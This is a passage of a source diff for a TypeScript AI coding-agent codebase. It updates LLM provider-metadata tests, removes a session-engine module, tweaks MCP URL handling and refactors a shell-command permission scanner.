if (!item.structured || !Array.isArray(details)) return
@@ -903,6 +903,70 @@ describe("OpenAI Chat route", () => {
}),
)
it.effect("uses the configured provider metadata namespace for reasoning and usage", () =>
Effect.gen(function* () {
const selected = LanguageModel.update(model, {
route: { ...model.route, providerMetadataKey: "vendor" },
})
const details = [{ type: "reasoning.text", text: "thinking", signature: "signed" }]
const response = yield* LLMClient.generate(LLMRequest.update(request, { model: selected })).pipe(
Effect.provide(
fixedResponse(
sseEvents(
{ choices: [{ delta: { reasoning: "thinking", reasoning_details: details } }] },
deltaChunk({ content: "Hello" }),
deltaChunk({}, "stop"),
usageChunk({ prompt_tokens: 5, completion_tokens: 2, total_tokens: 7 }),
),
),
),
)
expect(response.message.content.find((part) => part.type === "reasoning")?.providerMetadata).toEqual({
vendor: { reasoningField: "reasoning", reasoningDetails: details },
})
expect(response.usage?.providerMetadata).toEqual({
vendor: { prompt_tokens: 5, completion_tokens: 2, total_tokens: 7 },
})
const replay = yield* compileRequest(LLM.request({ model: selected, messages: [response.message] }))
expect(replay.body.messages).toEqual([
{ role: "assistant", content: "Hello", reasoning: "thinking", reasoning_details: details },
])
}),
)
it.effect("falls back to the selected provider for the metadata namespace", () =>
Effect.gen(function* () {
const compatible = model.route.with({ provider: "deepseek" }).model({ id: "deepseek-chat" })
const selected = LanguageModel.update(compatible, {
route: { ...compatible.route, providerMetadataKey: undefined },
})
const response = yield* LLMClient.generate(LLMRequest.update(request, { model: selected })).pipe(
Effect.provide(
fixedResponse(
sseEvents(
deltaChunk({ reasoning_content: "thinking" }),
deltaChunk({ content: "Hello" }),
deltaChunk({}, "stop"),
usageChunk({ prompt_tokens: 5, completion_tokens: 2, total_tokens: 7 }),
),
),
),
)
expect(response.message.content.find((part) => part.type === "reasoning")?.providerMetadata).toEqual({
deepseek: { reasoningField: "reasoning_content" },
})
expect(response.usage?.providerMetadata).toEqual({
deepseek: { prompt_tokens: 5, completion_tokens: 2, total_tokens: 7 },
})
const replay = yield* compileRequest(LLM.request({ model: selected, messages: [response.message] }))
expect(replay.body.messages).toEqual([{ role: "assistant", content: "Hello", reasoning_content: "thinking" }])
}),
)
it.effect("parses and replays a configured custom reasoning field", () =>
Effect.gen(function* () {
const custom = LanguageModel.update(model, { compatibility: { reasoningField: "vendor_reasoning" } })
@@ -437,7 +437,7 @@ describe("OpenAI-compatible Chat route", () => {
outputTokens: undefined,
totalTokens: undefined,
providerMetadata: {
openai: {
deepseek: {
prompt_tokens: null,
completion_tokens: null,
total_tokens: null,
@@ -195,19 +195,19 @@ describe("Open Responses-compatible route", () => {
model,
messages: [
Message.assistant([
{ type: "text", text: "Kept.", providerMetadata: { openresponses: { itemId: "history_1" } } },
{ type: "text", text: "Kept.", providerMetadata: { "openai-compatible": { itemId: "history_1" } } },
{
type: "text",
text: "Long.",
providerMetadata: { openresponses: { itemId: `history_${"a".repeat(64)}` } },
providerMetadata: { "openai-compatible": { itemId: `history_${"a".repeat(64)}` } },
},
{
type: "text",
text: "Opaque.",
providerMetadata: { openresponses: { itemId: "provider_value/with+symbols" } },
providerMetadata: { "openai-compatible": { itemId: "provider_value/with+symbols" } },
},
{ type: "text", text: "No suffix.", providerMetadata: { openresponses: { itemId: "msg_" } } },
{ type: "text", text: "No prefix.", providerMetadata: { openresponses: { itemId: "_item" } } },
{ type: "text", text: "No suffix.", providerMetadata: { "openai-compatible": { itemId: "msg_" } } },
{ type: "text", text: "No prefix.", providerMetadata: { "openai-compatible": { itemId: "_item" } } },
]),
],
}),
@@ -267,7 +267,7 @@ describe("Open Responses-compatible route", () => {
name: item.type,
result: { type: "json", value: item },
providerExecuted: true,
providerMetadata: { openresponses: { itemId: item.id } },
providerMetadata: { example: { itemId: item.id } },
}),
),
}),
@@ -302,7 +302,7 @@ describe("Open Responses-compatible route", () => {
)
expect(response.message.content).toEqual([
{ type: "text", text: "Indexed", providerMetadata: { openresponses: { itemId: "msg_1" } } },
{ type: "text", text: "Indexed", providerMetadata: { "openai-compatible": { itemId: "msg_1" } } },
])
}),
)
@@ -368,7 +368,7 @@ describe("Open Responses-compatible route", () => {
),
)
const metadata = { openresponses: { itemId: routing.id } }
const metadata = { "openai-compatible": { itemId: routing.id } }
if (fixture.item.type === "function_call") {
expect(response.toolCalls).toEqual([
expect.objectContaining({
@@ -386,7 +386,7 @@ describe("Open Responses-compatible route", () => {
type: "reasoning",
text: "Preserved",
providerMetadata: {
openresponses: { itemId: routing.id, reasoningEncryptedContent: "encrypted-state" },
"openai-compatible": { itemId: routing.id, reasoningEncryptedContent: "encrypted-state" },
},
},
])
@@ -438,22 +438,26 @@ describe("Open Responses-compatible route", () => {
{
type: "reasoning",
text: "First.",
providerMetadata: { openresponses: { itemId: routing.id } },
providerMetadata: { "openai-compatible": { itemId: routing.id } },
},
{
type: "reasoning",
text: "Second.",
providerMetadata: { openresponses: { itemId: routing.id, reasoningEncryptedContent: "final-state" } },
providerMetadata: {
"openai-compatible": { itemId: routing.id, reasoningEncryptedContent: "final-state" },
},
},
])
expect(response.events.filter(LLMEvent.is.reasoningEnd)).toEqual([
expect.objectContaining({
id: `${routing.id}:0`,
providerMetadata: { openresponses: { itemId: routing.id } },
providerMetadata: { "openai-compatible": { itemId: routing.id } },
}),
expect.objectContaining({
id: `${routing.id}:1`,
providerMetadata: { openresponses: { itemId: routing.id, reasoningEncryptedContent: "final-state" } },
providerMetadata: {
"openai-compatible": { itemId: routing.id, reasoningEncryptedContent: "final-state" },
},
}),
])
}),
@@ -483,7 +487,7 @@ describe("Open Responses-compatible route", () => {
id: "call_1",
name: "lookup",
input: { query: "complete" },
providerMetadata: { openresponses: { itemId: "" } },
providerMetadata: { "openai-compatible": { itemId: "" } },
}),
])
}),
@@ -510,7 +514,7 @@ describe("Open Responses-compatible route", () => {
)
expect(response.message.content).toEqual([
{ type: "text", text: "Before after", providerMetadata: { openresponses: { itemId: "msg_1" } } },
{ type: "text", text: "Before after", providerMetadata: { "openai-compatible": { itemId: "msg_1" } } },
])
expect(response.events.map((event) => event.type)).toEqual([
"step-start",
@@ -662,7 +666,7 @@ describe("Open Responses-compatible route", () => {
expect(response.events.find(LLMEvent.is.toolCall)).toMatchObject({
input: { query: "complete" },
providerMetadata: { openresponses: { itemId: "item_1" } },
providerMetadata: { example: { itemId: "item_1" } },
})
}),
)
@@ -694,7 +698,7 @@ describe("Open Responses-compatible route", () => {
)
expect(response.events.find((event) => event.type === "reasoning-end")).toMatchObject({
providerMetadata: { openresponses: { itemId: "rs_raw", reasoningEncryptedContent: "raw-state" } },
providerMetadata: { "openai-compatible": { itemId: "rs_raw", reasoningEncryptedContent: "raw-state" } },
})
}),
)
@@ -743,7 +747,7 @@ describe("Open Responses-compatible route", () => {
Message.assistant({
type: "text",
text: "Unclassified.",
providerMetadata: { openresponses: { phase: null } },
providerMetadata: { "openai-compatible": { phase: null } },
}),
],
}),
@@ -802,7 +806,7 @@ describe("Open Responses-compatible route", () => {
{
type: "text",
text: "I can't help with that.",
providerMetadata: { openresponses: { itemId: "msg_refusal" } },
providerMetadata: { example: { itemId: "msg_refusal" } },
},
])
@@ -891,7 +895,7 @@ describe("Open Responses-compatible route", () => {
expect(response.toolCalls).toEqual([])
expect(response.events.find(LLMEvent.is.finish)).toMatchObject({
providerMetadata: { openresponses: { responseId: "resp_1" } },
providerMetadata: { example: { responseId: "resp_1" } },
})
}),
)
+3 -3
View File
@@ -295,7 +295,7 @@ describe("OpenRouter", () => {
{
type: "reasoning",
text: "Thinking",
providerMetadata: { openai: { reasoningField: "reasoning", reasoningDetails: details } },
providerMetadata: { openrouter: { reasoningField: "reasoning", reasoningDetails: details } },
},
]),
],
@@ -328,7 +328,7 @@ describe("OpenRouter", () => {
Message.assistant({
type: "reasoning",
text: "Thinking",
providerMetadata: { openai: { reasoningField: "reasoning", reasoningDetails: details } },
providerMetadata: { openrouter: { reasoningField: "reasoning", reasoningDetails: details } },
}),
],
}),
@@ -354,7 +354,7 @@ describe("OpenRouter", () => {
Message.assistant({
type: "reasoning",
text: "AB",
providerMetadata: { openai: { reasoningField: "reasoning", reasoningDetails: details } },
providerMetadata: { openrouter: { reasoningField: "reasoning", reasoningDetails: details } },
}),
],
}),
+9
View File
@@ -40,4 +40,13 @@ describe("Route.with", () => {
"x-patch": "patch",
})
})
test("assigns metadata ownership to a replacement provider and preserves explicit overrides", () => {
const route = OpenAIChat.route.with({ provider: "azure" })
const overridden = route.with({ providerMetadataKey: "custom-azure" }).with({ headers: { "x-test": "value" } })
expect(route.providerMetadataKey).toBe("azure")
expect(overridden.providerMetadataKey).toBe("custom-azure")
expect(overridden.defaults).not.toHaveProperty("providerMetadataKey")
})
})
+1 -1
View File
@@ -27,7 +27,7 @@
"@effect/platform-node": "catalog:",
"@opencode-ai/client": "workspace:*",
"@opencode-ai/plugin": "workspace:*",
"@opencode-ai/pty": "0.1.10",
"@opencode-ai/pty": "0.1.11",
"@opencode-ai/schema": "workspace:*",
"@opencode-ai/server": "workspace:*",
"@opencode-ai/tui": "workspace:*",
+1 -1
View File
@@ -118,7 +118,7 @@
"@ff-labs/fff-node": "0.10.5",
"@opencode-ai/codemode": "workspace:*",
"@opencode-ai/ai": "workspace:*",
"@opencode-ai/pty": "0.1.10",
"@opencode-ai/pty": "0.1.11",
"@opencode-ai/schema": "workspace:*",
"@opencode-ai/plugin": "workspace:*",
"@opencode-ai/util": "workspace:*",
+8 -51
View File
@@ -56,35 +56,6 @@ import { AbsolutePath } from "./schema.js"
export { LocationServiceMap } from "./location-service-map.js"
/**
* Engine tier: the tags consumed from OUTSIDE the graph by the drain and by
* session operations, plus the registries that form the configuration surface.
* Everything else the engine needs (SessionContext, ModelRequest, Permission,
* ModelResolver, ...) is internal wiring reached through dependency closure
* during compile, where replacements can substitute capability sources.
* `locationServiceNodes` below stays the composed full graph — its list order
* is semantic (compile provide-merges in order), so the tier is named
* alongside, not split out.
*/
const sessionEngineNodes = [
// drain entry (execution.ts runs the runner; its layer wires the spine internally)
SessionRunnerLLM.node,
// prompt admission (session.ts attachment resize + skill mentions) and readiness
PluginSupervisor.node,
Image.node,
Skill.node,
// configuration surface: populated from values instead of discovery
Tool.node,
Agent.node,
Catalog.node,
] as const satisfies readonly Node.LocationNode<unknown, unknown>[]
export const sessionEngineGroup = LayerNode.group<typeof sessionEngineNodes>(sessionEngineNodes)
/** What a session drain and its operations require. `LocationServices` is a superset. */
export type SessionEngine = LayerNode.Output<typeof sessionEngineGroup>
export type SessionEngineError = LayerNode.Error<typeof sessionEngineGroup>
const locationServiceNodes = [
Location.node,
Environment.node,
@@ -141,27 +112,6 @@ export const locationServices = LayerNode.group<typeof locationServiceNodes>(loc
export type LocationServices = LayerNode.Output<typeof locationServices>
export type LocationError = LayerNode.Error<typeof locationServices>
// Compile-time guard: the engine tier must remain a subset of the full graph.
const _sessionEngineIsSubset: [SessionEngine] extends [LocationServices] ? true : never = true
void _sessionEngineIsSubset
/**
* Compile a Location graph with its global nodes hoisted out. Replacements
* must be applied during hoist, not afterward: replacements can introduce new
* tagged dependencies (Location.boundNode depends on Project), and the hoist
* walk is the only pass that can still slice those back out. Callers must
* thread the application root's replacements through so hoisted globals
* compile to the same Layer references the root built and memoization dedupes
* them instead of constructing second instances.
*/
export function compileWithHoistedGlobals<A, E>(
root: LayerNode.Node<A, E, LayerNode.Tag | undefined>,
replacements: LayerNode.Replacements,
): Layer.Layer<A, E> {
const sliced = LayerNode.hoist(root, Node.tags.values.global, replacements)
return LayerNode.compile(sliced.node).pipe(Layer.fresh, Layer.provide(LayerNode.compile(sliced.hoisted)))
}
export function buildLocationServiceMap(
replacements: LayerNode.Replacements = [],
): Layer.Layer<LocationServiceMap.Service> {
@@ -179,8 +129,14 @@ export function buildLocationServiceMap(
(ref: Location.Ref) => {
const startedAt = performance.now()
const allReplacements = replacements.concat([[Location.node, Location.boundNode(ref)]])
// Apply replacements during hoist, not afterward: replacements can
// introduce new tagged dependencies (Location.boundNode depends on
// Project), and the hoist walk is the only pass that can still slice
// those back out.
const location = LayerNode.hoist(locationServices, Node.tags.values.global, allReplacements)
return compileWithHoistedGlobals(locationServices, allReplacements).pipe(
return LayerNode.compile(location.node).pipe(
Layer.fresh,
Layer.tap(() =>
Effect.logInfo("location services booted", {
directory: ref.directory,
@@ -188,6 +144,7 @@ export function buildLocationServiceMap(
durationMs: Math.round(performance.now() - startedAt),
}),
),
Layer.provide(LayerNode.compile(location.hoisted)),
)
},
{
+4 -1
View File
@@ -207,7 +207,10 @@ export const connect = Effect.fnUntraced(function* (
}
if (!URL.canParse(config.url))
return yield* new ConnectError({ server, message: `Invalid MCP URL for "${server}"` })
return new StreamableHTTPClientTransport(new URL(config.url), {
// Prefer raw tools for our Code Mode without changing the configured URL used for OAuth identity.
const url = new URL(config.url)
if (config.codemode !== false && !url.searchParams.has("codemode")) url.searchParams.set("codemode", "false")
return new StreamableHTTPClientTransport(url, {
requestInit: config.headers ? { headers: config.headers } : undefined,
authProvider,
})
-3
View File
@@ -60,9 +60,6 @@ export interface Interface {
export class Service extends Context.Service<Service, Interface>()("@opencode/McpInstructions") {}
/** For environments without MCP: no server guidance to load. */
export const noop = Layer.succeed(Service, Service.of({ load: () => Effect.succeed(Instructions.empty) }))
export const layer = Layer.effect(
Service,
Effect.gen(function* () {
+2 -8
View File
@@ -377,14 +377,8 @@ export const make = Effect.fn("PluginHost.make")(function* (plugin: Interface, p
hook: (name, callback) => hooks.register("shell", name, callback),
},
tool: {
transform: (callback) =>
tools
.transform((draft) =>
callback({
add: (tool) => draft.add(tool),
}),
)
.pipe(Effect.as({ dispose: Effect.void })),
transform: tools.transform,
reload: tools.reload,
hook: (name, callback) => hooks.register("tool", name, callback),
},
vcs: {
@@ -4,7 +4,7 @@ import { define } from "@opencode-ai/plugin/effect/plugin"
import { Effect } from "effect"
// These servers provide Code Mode, so expose them directly instead of nesting them inside OpenCode Code Mode.
const urls = [/^https:\/\/mcp\.cloudflare\.com\/mcp$/, /^https:\/\/executor\.sh\/[^/]+\/mcp$/]
const urls = [/^https:\/\/executor\.sh\/[^/]+\/mcp$/]
export const Plugin = define({
id: "opencode.mcp.codemode.exclusion",
@@ -1,6 +1,6 @@
export * as PluginSupervisor from "./supervisor-service.js"
import { Context, Effect, Layer } from "effect"
import { Context, Effect } from "effect"
/**
* Dependency-only supervisor seam. Keep this module free of implementation
@@ -12,6 +12,3 @@ export interface Interface {
}
export class Service extends Context.Service<Service, Interface>()("@opencode/PluginSupervisor") {}
/** For values-constructed environments: no plugin generations exist, so flush settles immediately. */
export const noop = Layer.succeed(Service, Service.of({ flush: Effect.void }))
+1 -1
View File
@@ -1,5 +1,5 @@
export * as PluginSupervisor from "./supervisor.js"
export { noop, Service, type Interface } from "./supervisor-service.js"
export { Service, type Interface } from "./supervisor-service.js"
import { Event } from "@opencode-ai/schema/config"
import { Cause, Effect, Latch, Layer, Stream } from "effect"
-145
View File
@@ -1,145 +0,0 @@
export * as SessionEngine from "./session-engine.js"
import { Context, Effect, Layer, Scope } from "effect"
import { LayerNode } from "@opencode-ai/util/effect/layer-node"
import { makeGlobalNode } from "@opencode-ai/util/effect/app-node"
import { Agent } from "./agent.js"
import { Catalog } from "./catalog.js"
import { Location } from "./location.js"
import { McpInstructions } from "./mcp/instructions.js"
import { McpTool } from "./tool/mcp.js"
import { PluginSupervisor } from "./plugin/supervisor.js"
import { Session } from "./session.js"
import { SessionEngineBindings } from "./session/engine-bindings.js"
import { SessionRunnerModel } from "./session/runner/model.js"
import { SessionSchema } from "./session/schema.js"
import { Snapshot } from "./snapshot.js"
import { Tool } from "./tool.js"
import { compileWithHoistedGlobals, sessionEngineGroup, type SessionEngine, type SessionEngineError } from "./location-services.js"
import type { AbsolutePath } from "./schema.js"
/**
* Values-constructed session environment: the engine tier of the location
* graph, booted without discovery, plugins, or MCP. Capabilities arrive
* through the same draft APIs plugins use, so registry invariants (hook
* wiring, image normalization, permission gating) hold by construction.
*/
export interface Options {
readonly directory: AbsolutePath
/**
* Fixed model for every drain in this environment, bypassing catalog
* resolution (SessionRunnerModel.resolved is the values-side constructor).
* Omit to resolve through the populated catalog instead.
*/
readonly model?: SessionRunnerModel.Resolved
/** Capture filesystem snapshots around attempts. Defaults to false. */
readonly snapshots?: boolean
readonly tools?: (draft: Tool.Draft) => void
readonly agents?: (draft: Agent.Draft) => void
readonly catalog?: (draft: Catalog.Draft) => void
}
type PromptOptions = Omit<Parameters<Session.Interface["prompt"]>[0], "sessionID">
type SessionOptions = Omit<Parameters<Session.Interface["create"]>[0], "location" | "parentID">
export interface SessionHandle {
readonly id: SessionSchema.ID
readonly prompt: (input: PromptOptions) => ReturnType<Session.Interface["prompt"]>
readonly interrupt: (input?: { readonly continue?: boolean }) => Effect.Effect<boolean>
}
export interface Handle {
/**
* Ensure a durable session and bind it to this environment. Reusing a
* Session ID adopts the existing Session (creation args are ignored then),
* so reconnection after a restart is the same call with the same ID. The
* binding lives until the environment's scope closes; drains resolve the
* bound graph instead of the Session's Location graph.
*/
readonly session: (input?: SessionOptions) => Effect.Effect<SessionHandle, Session.NotFoundError>
}
export interface Interface {
readonly make: (options: Options) => Effect.Effect<Handle, SessionEngineError, Scope.Scope>
}
export class Service extends Context.Service<Service, Interface>()("@opencode/SessionEngine") {}
/**
* Captures the application root's MemoMap at construction (the same trick
* LayerMap.make uses), so each environment's hoisted global nodes dedupe
* against the running Database, Bus, and SessionStore instead of building
* second instances. The engine subtree itself builds fresh per environment.
*
* Like buildLocationServiceMap, the layer must receive the application
* root's replacements: hoisted globals otherwise compile their original
* implementations and a composed root (test harness, embedded host) would
* build second, differently-configured instances.
*/
const layerWith = (base: LayerNode.Replacements) =>
Layer.effect(
Service,
Effect.gen(function* () {
const memoMap = Layer.CurrentMemoMap.forkOrCreate(yield* Effect.context<never>())
const bindings = yield* SessionEngineBindings.Service
const sessions = yield* Session.Service
const make = Effect.fn("SessionEngine.make")(function* (options: Options) {
const scope = yield* Effect.scope
const location = Location.Ref.make({ directory: options.directory })
// Later entries win in the replacement map, so environment-specific
// substitutions override same-node entries from the application root.
const replacements: LayerNode.Replacements = [
...base,
[Location.node, Location.boundNode(location)],
[PluginSupervisor.node, PluginSupervisor.noop],
[McpTool.node, McpTool.noop],
[McpInstructions.node, McpInstructions.noop],
...(options.snapshots === true ? [] : [[Snapshot.node, Snapshot.noopLayer] as const]),
...(options.model === undefined
? []
: [[SessionRunnerModel.node, SessionRunnerModel.fixed(options.model)] as const]),
]
const context = yield* Layer.buildWithMemoMap(
compileWithHoistedGlobals(sessionEngineGroup, replacements),
memoMap,
scope,
)
const populate = Effect.gen(function* () {
const tools = options.tools
if (tools) yield* Tool.Service.use((service) => service.transform(tools))
const agents = options.agents
if (agents) yield* Agent.Service.use((service) => service.transform(agents))
const catalog = options.catalog
if (catalog) yield* Catalog.Service.use((service) => service.transform(catalog))
})
yield* populate.pipe(Effect.provide(context), Effect.provideService(Scope.Scope, scope))
const session = Effect.fn("SessionEngine.session")(function* (input?: SessionOptions) {
// Create-or-adopt: ID reuse returns the existing durable Session, and the
// binding outranks its recorded Location even if the directories differ.
const info = yield* sessions.create({ ...input, location })
// Bind in the environment's scope: teardown must unbind every session so
// drains fall back to the Location graph instead of a torn-down context.
yield* bindings.bind(info.id, context).pipe(Effect.provideService(Scope.Scope, scope))
return {
id: info.id,
prompt: (promptInput: PromptOptions) => sessions.prompt({ ...promptInput, sessionID: info.id }),
interrupt: (interruptInput?: { readonly continue?: boolean }) =>
sessions.interrupt(info.id, interruptInput),
} as const
})
return { session } as const
})
return Service.of({ make })
}),
)
/** Thread the application root's replacements through, mirroring buildLocationServiceMap. */
export const configured = (replacements: LayerNode.Replacements = []) =>
makeGlobalNode({ service: Service, layer: layerWith(replacements), deps: [SessionEngineBindings.node, Session.node] })
export const node = configured()
@@ -1,48 +0,0 @@
export * as SessionEngineBindings from "./engine-bindings.js"
import { Context, Effect, Layer, Scope } from "effect"
import { makeGlobalNode } from "@opencode-ai/util/effect/app-node"
import type { SessionEngine } from "../location-services.js"
import { SessionSchema } from "./schema.js"
/**
* Process-local map from Session ID to a values-constructed engine graph.
* Execution resolves a bound context before falling back to the Session's
* Location graph, so tier-2 sessions drain against caller-supplied
* capabilities while every other session is untouched.
*/
export interface Interface {
/** Bind until the enclosing scope closes. Rebinding the same ID replaces the previous binding. */
readonly bind: (
id: SessionSchema.ID,
context: Context.Context<SessionEngine>,
) => Effect.Effect<void, never, Scope.Scope>
readonly get: (id: SessionSchema.ID) => Context.Context<SessionEngine> | undefined
}
export class Service extends Context.Service<Service, Interface>()("@opencode/SessionEngineBindings") {}
export const layer = Layer.sync(Service, () => {
// Entries wrap the context so release identity is per bind call: binding the
// same context twice from different scopes must not let the first release
// tear down the survivor's entry.
const map = new Map<SessionSchema.ID, { readonly context: Context.Context<SessionEngine> }>()
return Service.of({
bind: (id, context) =>
Effect.acquireRelease(
Effect.sync(() => {
const entry = { context }
map.set(id, entry)
return entry
}),
(entry) =>
Effect.sync(() => {
// A later rebind owns the entry now; do not tear it down.
if (map.get(id) === entry) map.delete(id)
}),
).pipe(Effect.asVoid),
get: (id) => map.get(id)?.context,
})
})
export const node = makeGlobalNode({ service: Service, layer, deps: [] })
+14 -24
View File
@@ -6,7 +6,6 @@ import { Database } from "../database/database.js"
import { Job } from "../job.js"
import { LocationServiceMap } from "../location-service-map.js"
import { makeGlobalNode } from "@opencode-ai/util/effect/app-node"
import { SessionEngineBindings } from "./engine-bindings.js"
import { SessionEvent } from "./event.js"
import { SessionRunCoordinator } from "./run-coordinator.js"
import { SessionRunner } from "./runner/index.js"
@@ -53,7 +52,6 @@ export const layer = Layer.effect(
Effect.gen(function* () {
const store = yield* SessionStore.Service
const locations = yield* LocationServiceMap.Service
const bindings = yield* SessionEngineBindings.Service
const bus = yield* Bus.Service
const jobs = yield* Job.Service
const db = (yield* Database.Service).db
@@ -85,30 +83,22 @@ export const layer = Layer.effect(
continuation?: SessionRunner.Continuation,
promotable: SessionInbox.Promotable = "input",
): Effect.Effect<void, SessionRunner.RunError> {
const loop = (
force: boolean,
continuation?: SessionRunner.Continuation,
): Effect.Effect<void, SessionRunner.RunError, SessionRunner.Service> =>
SessionRunner.Service.use((runner) => runner.drain({ sessionID, force, continuation, promotable })).pipe(
Effect.flatMap((result) => (result._tag === "Complete" ? Effect.void : loop(false, result.continuation))),
)
return Effect.gen(function* () {
// The environment is resolved once and pinned for the whole busy period, so a
// binding change never switches environments between continuations. A bound
// values-constructed environment outranks the Session's Location graph and
// implies the Session exists, since binding follows durable creation.
const bound = bindings.get(sessionID)
if (bound) return yield* loop(force, continuation).pipe(Effect.provide(bound))
const session = yield* store.get(sessionID)
if (!session) return yield* Effect.die(new Error(`Session not found: ${sessionID}`))
return yield* loop(force, continuation).pipe(Effect.provide(locations.get(session.location)))
}).pipe(
Effect.tapCause((cause) =>
Cause.hasInterruptsOnly(cause)
? Effect.void
: Effect.logError("Failed to drain Session", cause).pipe(Effect.annotateLogs({ sessionID })),
),
)
const result = yield* SessionRunner.Service.use((runner) =>
runner.drain({ sessionID, force, continuation, promotable }),
).pipe(
Effect.provide(locations.get(session.location)),
Effect.tapCause((cause) =>
Cause.hasInterruptsOnly(cause)
? Effect.void
: Effect.logError("Failed to drain Session", cause).pipe(Effect.annotateLogs({ sessionID })),
),
)
if (result._tag === "Complete") return
return yield* drain(sessionID, false, result.continuation, promotable)
})
}
const coordinator = yield* SessionRunCoordinator.make<SessionSchema.ID, SessionRunner.RunError, InterruptReason>({
started: (sessionID) =>
@@ -180,7 +170,7 @@ export const layer = Layer.effect(
export const node = makeGlobalNode({
service: Service,
layer,
deps: [SessionStore.node, LocationServiceMap.node, SessionEngineBindings.node, Bus.node, Database.node, Job.node],
deps: [SessionStore.node, LocationServiceMap.node, Bus.node, Database.node, Job.node],
})
/** Low-level compatibility layer for callers that only need durable Session recording. */
@@ -67,10 +67,6 @@ export const resolved = (
limit: options.limit,
})
/** Layer resolving every session to one fixed model, bypassing the catalog. Test or embedding seam. */
export const fixed = (resolved: Resolved) =>
Layer.succeed(Service, Service.of({ resolve: () => Effect.succeed(resolved) }))
const layer = Layer.effect(
Service,
Effect.gen(function* () {
+60 -405
View File
@@ -7,12 +7,17 @@ import path from "path"
import type { Node } from "web-tree-sitter"
import { shellParserWasm } from "#shell-parser-wasm"
import { ShellSelect } from "./select.js"
import { Wildcard } from "../util/wildcard.js"
type Part = { type: string; text: string }
type SourceToken = { raw: string; value: string }
const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location"])
const POWERSHELL_PATH_FLAGS = new Set(["-literalpath", "-path"])
export type Result = {
commands: Array<{ resource: string; save: string }>
directories: string[]
}
const ARITY: Record<string, number> = {
cat: 1,
cd: 1,
@@ -152,6 +157,7 @@ const ARITY: Record<string, number> = {
"yarn dlx": 3,
"yarn run": 3,
}
const PREFIX_LENGTH = Math.max(...Object.values(ARITY))
export const scan = Effect.fnUntraced(function* (
command: string,
@@ -159,7 +165,7 @@ export const scan = Effect.fnUntraced(function* (
cwd: string,
options?: { portable?: boolean },
) {
if (options?.portable) return yield* Effect.promise(() => scanPortable(command, shell, cwd))
if (options?.portable) return yield* scanPortable(command, shell, cwd)
return yield* scanLegacy(command, shell, cwd)
})
@@ -197,416 +203,65 @@ const scanLegacy = Effect.fnUntraced(function* (command: string, shell: string,
)
})
async function scanPortable(command: string, shell: string, cwd: string) {
const { ShellScan } = await import("./scan.js")
export const scanPortable = Effect.fnUntraced(function* (command: string, shell: string, cwd: string) {
const { ShellScan } = yield* Effect.tryPromise({
try: () => import("./scan.js"),
catch: (cause) => new Error(`Portable shell scanner failed to load: ${cause}`, { cause }),
})
const powershell = ShellSelect.ps(shell)
const result = powershell ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
if (result.kind === "opaque") return { commands: [{ resource: command, save: command }], directories: [] }
const carriage = powershell ? command.search(/\r(?!\n)/) : -1
if (carriage >= 0) return { commands: [], directories: [] }
if (result.kind === "opaque")
return yield* Effect.fail(new Error(`Portable shell scanner cannot analyze command: ${result.reason}`))
const parsed = result.commands.reduce(
(output, item) => {
const index = item[ShellScan.Nested] ? -1 : command.indexOf(item.resource, output.cursor)
const offset = item[ShellScan.Nested]
? command.lastIndexOf(item.resource, output.cursor - 1)
: index < 0
? command.indexOf(item.resource)
: index
if (index >= 0) output.cursor = index + item.resource.length
const before = command.slice(0, Math.max(0, offset))
const name = powershell ? item.words[0]?.toLowerCase() : item.words[0]
if (!name) return output
if (powershell && name === "<") return output
if (
powershell &&
name === "foreach-object" &&
item.words.some((word) => word.startsWith("{")) &&
!/\|\s*$/.test(before)
const output: Result = { commands: [], directories: [] }
for (const item of result.commands) {
// The legacy command walk skips declarations, not the substitutions within them.
if (item.declaration) continue
const words = item.redirectWordCount === undefined ? item.rawWords : item.rawWords.slice(0, item.redirectWordCount)
// The shipped PowerShell grammar treats bare statement-head foreach prefixes as control flow.
if (powershell && item.statementHead && /^foreach(?:-|$)/i.test(words[0] ?? "")) continue
const name = powershell ? words[0]?.toLowerCase() : words[0]
if (CWD.has(name)) {
output.directories.push(
...directoryArgs(
words.flatMap((text): Part[] => {
const parameter = powershell ? /^(-(?:literalpath|path)):(.*)$/i.exec(text) : undefined
if (parameter)
return [
{ type: "command_parameter", text: parameter[1] },
{ type: "word", text: parameter[2] },
]
return [{ type: powershell && text.startsWith("-") ? "command_parameter" : "word", text }]
}),
powershell,
cwd,
shell,
),
)
return output
const tokens = powershell ? powerShellSourceTokens(item.resource) : sourceTokens(item.resource)
const sourceHead = powershell ? item.words[0] : tokens.find((token) => token.value === item.words[0])?.raw
if (CWD.has(name) && (powershell || sourceHead === item.words[0])) {
output.directories.push(...portableDirectoryArgs(item.words, tokens, powershell, cwd, shell))
return output
}
const save = powershell ? powerShellSourcePrefix(tokens, item.words) : bashSourcePrefix(tokens, item.words)
output.commands.push({
resource: powershell ? item.resource : bashResource(item.resource, before),
save: `${save} *`,
})
return output
},
{
commands: [] as Array<{ resource: string; save: string }>,
directories: [] as string[],
cursor: 0,
},
)
return { commands: parsed.commands, directories: parsed.directories }
}
function bashResource(resource: string, before: string) {
if (!/(?:&&|\|\||\|&)\s*$|\|\s*$/.test(before)) return resource
const redirect = bashRedirect(resource)
return redirect < 0 ? resource : resource.slice(0, redirect).replace(/\d+$/, "").trim()
}
function bashRedirect(resource: string) {
let quote: "single" | "double" | undefined
for (let index = 0; index < resource.length; index++) {
const char = resource[index]
if (quote === "single") {
if (char === "'") quote = undefined
continue
}
if (char === "\\") {
index++
continue
}
if (char === '"') {
quote = quote === "double" ? undefined : "double"
continue
}
if (quote === "double") {
if (char === "$" && resource[index + 1] === "(") index = bashParenthesizedEnd(resource, index + 1)
else if (char === "`") index = bashBacktickEnd(resource, index)
continue
}
if (char === "'") {
quote = "single"
continue
}
if ((char === "$" || char === "<" || char === ">") && resource[index + 1] === "(") {
index = bashParenthesizedEnd(resource, index + 1)
continue
}
if (char === "`") {
index = bashBacktickEnd(resource, index)
continue
}
if (char === "<" || char === ">" || (char === "&" && resource[index + 1] === ">")) return index
const selected = prefix(words.slice(0, PREFIX_LENGTH))
const conventional = `${selected.join(" ")} *`
const end = item.wordEnds?.[selected.length - 1]
// Keep existing grants stable unless normalized spacing loses the original source boundary.
const save =
!powershell || end === undefined || Wildcard.match(item.resource, conventional)
? conventional
: (() => {
const boundary =
item.wordEnds?.find(
(value) => value >= end && (value >= item.resource.length || /\s/.test(item.resource[value])),
) ?? end
const separator = /^\s+(?:`(?:\r\n|\r|\n)\s*)?/.exec(item.resource.slice(boundary))?.[0]
return `${item.resource.slice(0, boundary)}${separator ?? " "}*`
})()
